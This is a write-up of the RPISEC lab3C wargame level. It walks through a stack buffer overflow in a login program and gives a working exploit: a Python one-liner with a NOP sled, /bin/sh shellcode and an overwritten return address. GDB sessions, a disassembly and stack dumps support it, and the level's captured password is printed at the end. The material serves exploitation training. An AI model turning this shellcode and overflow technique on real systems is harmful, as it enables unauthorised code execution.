For this lab, we are given a program and its corresponding source code:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/* gcc -z execstack -fno-stack-protector -o lab3C lab3C.c */
char a_user_name[100];
int verify_user_name()
{
puts("verifying username....\n");
return strncmp(a_user_name, "rpisec", 6);
}
int verify_user_pass(char *a_user_pass)
{
return strncmp(a_user_pass, "admin", 5);
}
int main()
{
char a_user_pass[64] = {0};
int x = 0;
/* prompt for the username - read 100 byes */
printf("********* ADMIN LOGIN PROMPT *********\n");
printf("Enter Username: ");
fgets(a_user_name, 0x100, stdin);
/* verify input username */
x = verify_user_name();
if (x != 0){
puts("nope, incorrect username...\n");
return EXIT_FAILURE;
}
/* prompt for admin password - read 64 bytes */
printf("Enter Password: \n");
fgets(a_user_pass, 0x64, stdin);
/* verify input password */
x = verify_user_pass(a_user_pass);
if (x == 0 || x != 0){
puts("nope, incorrect password...\n");
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}
No matter what password the user enters, the program always exits on failure. Also, notice that unlike the previous labs, there is no “win” function. We must find another way to get a shell from running this program.
If we look at the fgets()
calls that are used to read a user’s username and password from stdin, we notice that both of the calls introduce buffer overflow vulnerabilities due to the length argument being 0x100
and 0x64
for a 100
byte and 64
byte buffer respectively. However, because the 100
byte buffer, a_user_name
is a global variable, we can’t exploit it to overwrite anything useful on the stack. Therefore, we must exploit the buffer overflow vulnerability introduced in the 64
byte buffer, a_user_pass
.
After calculating the offset to the SRA (80 bytes), obtaining publicly available shellcode, and fixing up the location of said shellcode due to memory being mangled by instructions after the fgets()
call, we come up with the following solution.
python -c 'print "rpisec\n"+"\x90"*25+"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90"*30+"\xbd\xf6\xff\xbf"'
When this command is piped into the program, the SRA should be overwritten with 0xbffff6bd
, which is an address that points to a location within our NOP sled, and our system("/bin/sh")
shellcode should run.
At this point, I tried running it with cat -
, (google cat CTF tricks), but it didn’t work!
lab3C@warzone:/levels/lab03$ (python -c 'print "rpisec\n"+"\x90"*25+"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90"*30+"\xbd\xf6\xff\xbf"'; cat -) | ./lab3C
********* ADMIN LOGIN PROMPT *********
Enter Username: verifying username....
Enter Password:
nope, incorrect password...
id
Floating point exception (core dumped)
Strangely enough, while I wasn’t able to get a shell on the cmd line, a shell was spawning in GDB.
gdb-peda$ r < <(python -c 'print "rpisec\n"+"\x90"*25+"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90"*30+"\xbd\xf6\xff\xbf"'; cat -)
Starting program: /levels/lab03/lab3C < <(python -c 'print "rpisec\n"+"\x90"*25+"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90"*30+"\xbd\xf6\xff\xbf"'; cat -)
********* ADMIN LOGIN PROMPT *********
Enter Username: verifying username....
Enter Password:
nope, incorrect password...
process 7522 is executing new program: /bin/dash
id
[New process 7529]
process 7529 is executing new program: /usr/bin/id
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.19.so...done.
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/ld-2.19.so...done.
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/ld-2.19.so...done.
uid=1010(lab3C) gid=1011(lab3C) groups=1011(lab3C),1001(gameuser)
[Inferior 2 (process 7529) exited normally]
Wondering if my shellcode was the issue, I tested it with shtest.
lab3C@warzone:/tmp/lab3C$ shtest "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
Shellcode at 0x804b100
Registers before call:
esp: 0xbffff5c0, ebp: 0xbffff5f8
esi: (nil), edi: (nil)
----------------------
$ id
uid=1010(lab3C) gid=1011(lab3C) groups=1011(lab3C),1001(gameuser)
Looks like it worked, so that wasn’t the issue.
After talking to a member of RPISEC, I learned that GDB moves some addresses around in memory a little, so what works in GDB might have to be tweaked a little. He directed me to a useful tool called fixenv which ensures that the stack addresses that GDB sees and the actual stack address used when running the program from the cmd line are the same.
lab3C@warzone:/tmp/lab3C$ fixenv gdb /levels/lab03/lab3C
(gdb) disas main
Dump of assembler code for function main:
0x08048790 <+0>: push %ebp
0x08048791 <+1>: mov %esp,%ebp
0x08048793 <+3>: push %edi
0x08048794 <+4>: push %ebx
0x08048795 <+5>: and $0xfffffff0,%esp
0x08048798 <+8>: sub $0x60,%esp
0x0804879b <+11>: lea 0x1c(%esp),%ebx
0x0804879f <+15>: mov $0x0,%eax
0x080487a4 <+20>: mov $0x10,%edx
0x080487a9 <+25>: mov %ebx,%edi
0x080487ab <+27>: mov %edx,%ecx
0x080487ad <+29>: rep stos %eax,%es:(%edi)
0x080487af <+31>: movl $0x0,0x5c(%esp)
0x080487b7 <+39>: movl $0x8048938,(%esp)
0x080487be <+46>: call 0x8048600 <puts@plt>
0x080487c3 <+51>: movl $0x804895f,(%esp)
0x080487ca <+58>: call 0x80485e0 <printf@plt>
0x080487cf <+63>: mov 0x8049c20,%eax
0x080487d4 <+68>: mov %eax,0x8(%esp)
0x080487d8 <+72>: movl $0x100,0x4(%esp)
0x080487e0 <+80>: movl $0x8049c40,(%esp)
0x080487e7 <+87>: call 0x80485f0 <fgets@plt>
0x080487ec <+92>: call 0x804873d <verify_user_name>
0x080487f1 <+97>: mov %eax,0x5c(%esp)
0x080487f5 <+101>: cmpl $0x0,0x5c(%esp)
0x080487fa <+106>: je 0x804880f <main+127>
0x080487fc <+108>: movl $0x8048970,(%esp)
0x08048803 <+115>: call 0x8048600 <puts@plt>
0x08048808 <+120>: mov $0x1,%eax
0x0804880d <+125>: jmp 0x804886e <main+222>
0x0804880f <+127>: movl $0x804898d,(%esp)
0x08048816 <+134>: call 0x8048600 <puts@plt>
0x0804881b <+139>: mov 0x8049c20,%eax
0x08048820 <+144>: mov %eax,0x8(%esp)
0x08048824 <+148>: movl $0x64,0x4(%esp)
0x0804882c <+156>: lea 0x1c(%esp),%eax
0x08048830 <+160>: mov %eax,(%esp)
0x08048833 <+163>: call 0x80485f0 <fgets@plt>
0x08048838 <+168>: lea 0x1c(%esp),%eax
0x0804883c <+172>: mov %eax,(%esp)
0x0804883f <+175>: call 0x804876d <verify_user_pass>
0x08048844 <+180>: mov %eax,0x5c(%esp)
0x08048848 <+184>: cmpl $0x0,0x5c(%esp)
0x0804884d <+189>: je 0x8048856 <main+198>
0x0804884f <+191>: cmpl $0x0,0x5c(%esp)
0x08048854 <+196>: je 0x8048869 <main+217>
0x08048856 <+198>: movl $0x804899e,(%esp)
0x0804885d <+205>: call 0x8048600 <puts@plt>
0x08048862 <+210>: mov $0x1,%eax
0x08048867 <+215>: jmp 0x804886e <main+222>
0x08048869 <+217>: mov $0x0,%eax
0x0804886e <+222>: lea -0x8(%ebp),%esp
0x08048871 <+225>: pop %ebx
0x08048872 <+226>: pop %edi
0x08048873 <+227>: pop %ebp
0x08048874 <+228>: ret
End of assembler dump.
(gdb) b *main+228
Breakpoint 1 at 0x8048874
(gdb) r < <(python -c 'print "rpisec\n"+"\x90"*25+"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90"*30+"\x90\xf7\xff\xbf"')
[...]
(gdb) c
Continuing.
nope, incorrect password...
Breakpoint 1, 0x08048874 in main ()
(gdb) x/16xg 0xbffff77c
0xbffff77c: 0x9090909090909090 0x9090909090909090
0xbffff78c: 0x9090909090909090 0x732f6e6850c03190
0xbffff79c: 0xe38969622f2f6868 0x0bb0e18953e28950
0xbffff7ac: 0x90909090909080cd 0x9090909090909090
0xbffff7bc: 0x9090909000000001 0x9090909090909090
0xbffff7cc: 0x0000000abffff790 0xbffff86cbffff864
0xbffff7dc: 0x00000001b7feccea 0xbffff804bffff864
0xbffff7ec: 0x080483e408049c04 0x00000000b7fcd000
So, the only thing I had to change in my original exploit was the address that the SRA is overwritten with, from 0xbffff6bd
to 0xbffff78c
. Once I did that, my exploit worked.
lab3C@warzone:/tmp/lab3C$ (python -c 'print "rpisec\n"+"\x90"*25+"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90"*30+"\x8c\xf7\xff\xbf"'; cat -) | fixenv /levels/lab03/lab3C
********* ADMIN LOGIN PROMPT *********
Enter Username: verifying username....
Enter Password:
nope, incorrect password...
id
uid=1010(lab3C) gid=1011(lab3C) euid=1011(lab3B) groups=1012(lab3B),1001(gameuser),1011(lab3C)
cd /home/lab3B
cat .pass
th3r3_iz_n0_4dm1ns_0n1y_U!